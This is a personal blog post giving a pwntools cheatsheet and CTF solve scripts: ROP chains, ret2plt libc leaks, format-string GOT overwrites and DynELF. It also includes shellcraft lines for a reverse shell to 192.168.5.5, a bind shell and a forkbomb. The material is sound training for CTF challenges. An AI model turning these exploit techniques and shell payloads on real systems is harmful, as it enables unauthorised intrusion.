Yet Another Pwntools Cheatsheet

Apr 4, 2024

13 mins read

pwntools is an amazing tool to learn that I find myself using in every CTF I play, even for challenges not involving binary exploitation. This post will be a compilation of every cool trick I’ve found it to have.

Basic I/O

# let's look at how to send/recieve data with pwntools

# first, we need to give pwntools what we're interacting with
p = remote("server.com",1337) # interact with a remote server
p = process("./vuln_program") # interact with a local process

# now let's send stuff to it
p.send("hello") # send 'hello' to the program
p.sendline("hello") # send 'hello\n' to the program

p.sendafter("foo","bar") # send "bar" after the program sends "foo"
p.sendlineafter("foo","bar") # send "bar\n" after the program sends "foo"


# now let's read from it
d = p.recvline() # receive a line of output from the program
print(d) # 'Hello world!\n'
d = p.readuntil("foo") # read everything until the word "foo" is found
print(d) # 'This is text\nThis is more\nNow I will say foo'
d = p.recv(2048) # receive the next buffer of data, 2048 bytes at most (number is optional, 4096 is the default)
d = p.recvn(16) # receive EXACTLY 16 bytes
d = p.recvlines(3) # receive 3 lines of output from the program

# if we wanted to now interact with the program ourselves
p.interactive()

# if we would like to attach GDB to our program:
gdb.attach(p) # 
gdb.attach(p,gdbscript="break *main") # command(s) to run on attaching
# i like using the following:
if args.GDB:
	gdb.attach(p)
	sleep(2)
# 'python3 exp.py GDB' will now attach GDB, no extra libraries/code needed

Context

# pwntools needs context for things like shellcode generation
# if you don't set this yourself, pwntools may give the wrong info
# the easiest way to do this is simply
exe = ELF("./vuln_program")
context.binary = exe

# but you are free to set it yourself
context.arch = 'amd64' # accepts i386, aarch64, mips, etc-- automatically sets .bits and .endian
context.bits = 64 # accepts 32 or even 8
context.endian = 'little'
context.os = 'linux' # accepts windows, android, freebsd, etc

Byte Packing

# sometimes you'll need to send stuff the same way it's represented in memory

x = p64(8) # how '8' would look as a 64-bit int
print(x) # b"\x08\x00\x00\x00\x00\x00\x00\x00"
x = p32(8) # how '8' would look as a 32-bit int
print(x) # b"\x08\x00\x00\x00" (p16 and p8 also exist if needed)

x = u64(b"\x08\x00\x00\x00\x00\x00\x00\x00") # reverse of p64()
print(x) # 8 (u32, u16, and u8 also exist)

ELF

# pwntools can extract a bunch of info from executables
# this is very helpful for ROP chains and the like
exe = ELF("./test_program")
# let's say the program looks like the following:
"""
#include <stdio.h>
#include <stdlib.h>

// gcc test.c -o test -no-pie
int blah = 6;

int win(){
	system("/bin/sh");
	return 0;
}

int main(){
	puts("this is a sample program");
	return 0;
}

"""
exe.address # base address of the program
exe.path # path of program (here "./test_program")
exe.symbols["win"] # gets address of "win" as an int
exe.symbols["blah"] # gets address of "blah" as an int
exe.got["puts"] # where the address of puts() is stored in the GOT
exe.read(exe.address,4) # read first 4 bytes of binary
list(exe.search("this is a sample program")) # every spot where the string "this is a sample program" shows up in the program

# [elf].address will be set to 0 if it can't be determined (like if PIE/ASLR is enabled)
# if we get a leak, we can set it ourselves and all further queries will use this base.
libc = ELF("./libc.so.6") # base address unknown due to ASLR
leak = u64(p.recvline()[0:8]) # EXAMPLE: we have managed to leak the address of puts() from some vulnerable program
libc.address = leak - libc.symbols["puts"]
libc.symbols["puts"] # this will be libc.address + the offset of puts()

Shellcoding

# pwntools can also write shellcode for us
# setting context is very important here. see the 'context' section for more
exe = ELF("./shellcode_running_program")
context.binary = exe

# first, pwntools can convert assembly to opcodes and vice versa
print(asm('mov rax, 9; push rax;')) # b'H\xc7\xc0\t\x00\x00\x00P'
print(disasm(b'H\xc7\xc0\t\x00\x00\x00P')) # prints ^ as assembly

# next, pwntools has a bunch of helpful assembly-generating functions. 
# note that support may be limited for 'nonstandard' architectures
# **also, since these generate assembly, you'll want to wrap it in asm() to use it**
shellcraft.sh() # spawning a shell
shellcraft.execve('/bin/sh',['/bin/sh','-c','ls -la'],0) # run a specific command (note this will replace the original process)
shellcraft.bindsh(9001,'ipv4') # spawns a bind shell on port 9001
shellcraft.egghunter("blah") # egghunter for "blah", address stored in RDI
shellcraft.cat("/flag.txt") # read /flag.txt
shellcraft.syscall('SYS_execve', 1, 'rsp', 2, 0) # make your own syscall
shellcraft.connect("192.168.5.5",9001)+shellcraft.dupsh() # reverse shell to 192.168.5.5:9001
shellcraft.forkbomb() # lol
# moving onto windows
shellcraft.cmd() # spawns cmd.exe
shellcraft.winexec("cmd.exe") # runs cmd.exe
# more over at https://docs.pwntools.com/en/stable/shellcraft.html


# lastly, pwntools can *attempt* encoding our shellcode for us. don't expect anything amazing, but it'll solve common pitfalls
encoder.encode(asm(shellcraft.sh()),b'\x00\x0a\x0c\x0b\x0d\x20') # shellcode without b'\x00\x0a\x0c\x0b\x0d\x20'

# as a bonus, i don't see this very useful due to the context feature, but you can also specify the architecture/os like so
shellcraft.amd64.linux.sh()
shellcraft.amd64.windows.cmd()
shellcraft.i386.linux.sh()
shellcraft.aarch64.linux.sh()

ROP

# this is one of pwntools' most powerful features-- creating ROP chains
exe = ELF("./program") # program to exploit
libc = ELF("./libc.so.6") # libc the program uses

r = ROP([exe]) # start a ROP chain with just exe
r = ROP([exe,libc]) # use exe and libc (if libc offset is known)
r = ROP([exe,libc],badchars=b"\x02") # ^ but your chain won't have \x02, if possible

r.rax = 1337 # pwntools will automatically find gadgets to set RAX to 1337
r.rdi = 5678 # does what you think it does
ret = r.find_gadget(["ret"])[0] # find a singular 'ret' gadget for us
r.raw(ret)  # add this gadget to our chain
r.raw(b"A"*16) # adds 16 A's to your chain, if that's needed for some reason. make sure it's stack-aligned!

# instead of building the steps ourselves, we can also ask pwntools to run functions for us (and pass specific arguments)
binsh = next(libc.search(b"/bin/sh\0")) # find the first instance of "/bin/sh" in libc
r.system(binsh) # create a chain to call system() on this address
print(r.dump()) # view ROP chain pretty-printed as seen below. it does everything we asked it to!
"""
0x0000:          0x45eb0 pop rax; ret
0x0008:            0x539
0x0010:          0x2a3e5 pop rdi; ret
0x0018:           0x162e
0x0020:          0x29139 ret
0x0028:      b'AAAAAAAA' b'AAAAAAAAAAAAAAAA'
0x0030:      b'AAAAAAAA'
0x0038:          0x2a3e5 pop rdi; ret
0x0040:         0x1d8678 [arg0] rdi = 1934968
0x0048:          0x50d70 system
"""
print(r.chain()) # get raw bytes of rop chain, this is your payload
# b'\xb0^\x04\x00\x00\x00\x00\x009\x05\x00\x00\x00\.. and so on

# some notes on pwntools' ROP:
# the function you want to run can be anything as long as the address is known.
# if your binary has a 'jumptowin' function which wants RDI as 5:
r.jumptowin(5) # works no problem

# when calling a function like this, you don't need to meet its prototype. 
# if there are no gadgets for setting the third argument of a function but it's already in an okay state:
r.write(0,0x525900) # works no issue (despite write() taking 3 args)

# pwntools will automatically do ret2csu for us when necessary! 
# it also claims to automatically do ret2sigreturn but i can't confirm that

# find_gadget() can only find 'pop x; ret' style gadgets or stack pivot gadgets like 'leave; ret'. 
# if you need some crazy ROP chain, rp (https://github.com/0vercl0k/rp) is a better choice for that

Format Strings

# pwntools can write format string exploits for you

# let's say we had the following program:
"""
int blah = 6;

// gcc vuln.c -o vuln -no-pie
int win(){
	system("/bin/sh");
	return 0;
}

int main(){
	char input[200];
	fgets(input,sizeof(input),stdin);
	printf(input);

	if (blah == 42){
		win();
	}
	return 0;
}
"""

# this is vulnerable to a format string vuln (https://corgi.rip/blog/format-string-exploitation/)
# pwntools can automatically exploit this for an arbitrary write
# it just needs to know where our input starts showing up
# to figure that out, provide a bunch of %p's and find the first one with your input (0x7025702570257025).
# for instance, i got the following output:
# 0x556ebbf122a10xfbad22880x556ebbf122bd(nil)0x556ebbf122a00x70257025702570250x7025702570257025
# here, the 6th format specifier is the first one that has our input. keep that number in mind!

# now, we can exploit it as follows:
from pwn import *
exe = ELF("./vuln")
context.binary = exe
p = process(exe.path)

writes = {exe.sym['blah']:42} # where:what format of what to overwrite
p.sendline(fmtstr_payload(6,writes)) # 6 is the first format specifier that has our input
p.interactive()

Advanced I/O

# pwntools can interact with processes over SSH!
conn = ssh('username', 'server.com', password='password')
p = conn.process("/home/blah/pwn.elf")
p = conn.remote("127.0.0.1",9001)
# jumping hosts also works
conn2 = ssh('username2','192.168.66.1',password='password',proxy_sock=conn.sock)
conn1.close()
conn2.close()
# it can do a bunch more from file writing to port forwarding
# if you're curious i'd check out https://docs.pwntools.com/en/stable/tubes/ssh.html

# if SSH isn't available, you can setup a proxy
context.proxy = (socks.socks5,'localhost',1081)

# remote() also works over IPv6/SSL/UDP
p = remote("dnsserver.com",53,typ="udp")
p = remote("sslserver.com",443,ssl=True)
p = remote("ipv6server.com",80,fam="ipv6") # by default pwntools will do ipv4 or ipv6, this option means it will only try ipv6

# pwntools returns a bytestring when reading data
# you can add .decode() to turn it into a string, or as a shorthand add S to the end of your function call
d = p.recvline().decode()
d = p.recvlineS() # same as above

d = p.recvline_regex(r"[0-9]{5,}") # read until a line matches the regex

p.stream() # read & print all data until the connection exits, useful once you jump to some print_flag() function
p.newline = "\r\n" # change what pwntools counts as a line (default "\n")

Misc

# here is some miscellanous stuff that's useful, but i dunno where to put it

# pwntools lets you send color-coded info messages
info("hellothere") # [*] hellothere
warning("blah") # [!] blah
error("ohno") # [ERROR] ohno (an exception is also raised)

# if you need dynamic math but don't like eval(), use expr()
safeeval.expr("7*7") # 49
safeeval.expr("__import__('os')") # ValueError: opcode LOAD_NAME not allowed

# any script using pwntools is also given some free CLI arguments
"python3 script.py DEBUG" # print a hexdump of the bytes sent/received
"python3 script.py NOASLR" # disable ASLR for testing

# pwntools also contains a BUNCH of function shorthands, here are some
wget("http://ifconfig.me") # http request shorthand, returns content
read("/etc/passwd") # file read shorthand, returns content
b64d('ZHVjaw==') # base64.b64decode() shorthand
b64e(b'duck') # base64.b64encode().decode() shorthand
xor(b'hey',42) # xor shorthand
xor(b'hello',b'okay') # XOR two strings together
xor(b'im',b'like',42) # XOR two strings and a number together
urlencode("hi") # url encode shorthand
urldecode("%74%65%73%74") # url decode shorthand
hexdump(b"data") # hexdump something

# don't have the libc of the remote server?
# if you have an arbitrary read, dynelf will solve that problem for you!
# first, make a 'leak' function:
def leak(address):
    # this function takes a memory address and should leak 1+ bytes at it
    return leaked_data
d = DynElf(leak,exe.address) # DynElf takes your 'leak' function and a pointer into an ELF
# with this information, pwntools can now do some really fun stuff
d.bases() # get base of libc, ld, and vdso
d.lookup('system') # get address of system() WITHOUT knowing remote libc
d.libc # attempt to get a copy of remote libc by leaking its build ID
# if this doesn't make sense, there's an example at the bottom

Command Line

# you should also have access to the 'pwn' CLI tool

pwn cyclic 50 # de brujin sequence of length 50
pwn cyclic -l 0x62616163626162 # find offset of string in sequence

pwn checksec ./binary # check protections on binary

echo "pop rdi; ret" | pwn asm -c amd64 # assemble shellcode
pwn disasm -c amd64 "5fc3" # disassemble shellcode
cat shellcode.raw | pwn disasm -c amd64 # disassemble raw bytes

pwn update # update pwntools

Various Challenge / Solve Scripts

Cheatsheets are helpful, but sometimes you just want to see stuff being used in action. Here’s a handful of solve scripts I’ve written that cover various concepts.

ret2win with arguments

Challenge: Rocket Blaster XXX from HTB Cyber Apocalypse 2024

#!/usr/bin/env python3
# context: there is a function fill_ammo() that prints the flag
# but it wants the arguments 0xdeadbeef,0xdeadbabe,0xdead1337

from pwn import *

exe = ELF("./rocket_blaster_xxx_patched")
context.binary = exe

p = process(exe.path)
r = ROP([exe]) # begin crafting ROP chain
r.raw(r.find_gadget(["ret"])[0]) # chain needs to start with a 'ret' due to stack alignment issues
r.fill_ammo(0xdeadbeef,0xdeadbabe,0xdead1337)

p.sendlineafter("XXX",b"A"*40+r.chain())
p.interactive()

ret2plt

Challenge: Pet Companion from HTB Cyber Apocalypse 2024

#!/usr/bin/env python3

from pwn import *

exe = ELF("./pet_companion_patched")
libc = ELF("./libc.so.6")

context.binary = exe


p = process(exe.path)

# begin first ROP chain: print the address of write() with write(), return to main()
r = ROP(exe) 
# write() takes 3 args, but there isn't a gadget to set the third arg.
# luckily that one's for setting how many bytes to read, and it's already a good number, so we just don't set it
r.write(1,exe.got.write) 
r.main()
info(r.dump()) # it automatically did ret2csu for us!

p.sendlineafter("status",b"A"*72+r.chain())
p.readline()
p.readline()
p.readline()
data = p.readline() # grab leak
leak = u64(data[0:8]) # parse leak
libc.address = leak - libc.symbols['write'] # get libc base

# begin second rop chain: system("/bin/sh")
r = ROP([exe,libc])
binsh = next(libc.search(b"/bin/sh\0"))
r.system(binsh)
print(r.dump())

p.sendlineafter("status",b"A"*72+r.chain())

p.interactive()

format string exploit

Challenge: format string 3 from PicoCTF 2024

from pwn import *
exe = ELF("./format-string-3")
libc = ELF("./libc.so.6")

p = process(exe.path)

p.readline()
data = p.readline()

leak = int(data.decode().split()[11],16)

libc.address = leak - libc.symbols["setvbuf"]

writes = {exe.got.puts:libc.symbols["system"]}

p.sendline(fmtstr_payload(38,writes))

p.interactive()

leaking remote libc with dynelf

Challenge: sailing_the_c from BuckeyeCTF 2024

# more details on this in the 'misc' section
from pwn import *
global p
exe = ELF("./chall")
p = remote("chall.pwnoh.io",13375)

def leak(address):
    global p
    p.sendlineafter("Where to, captain?",str(address))
    p.readuntil("We gathered ")
    leak = p64(int(p.readuntil(" ")))
    return leak

d = DynELF(leak, exe.address) # PIE is disabled
libs = d.bases()
# all the information below was gathered without needing to know the remote libc/ld
libc_address = libs[b'/lib/x86_64-linux-gnu/libc.so.6']
ld_address = libs[b'/lib64/ld-linux-x86-64.so.2']
system_address = d.lookup('system')

Sharing is caring!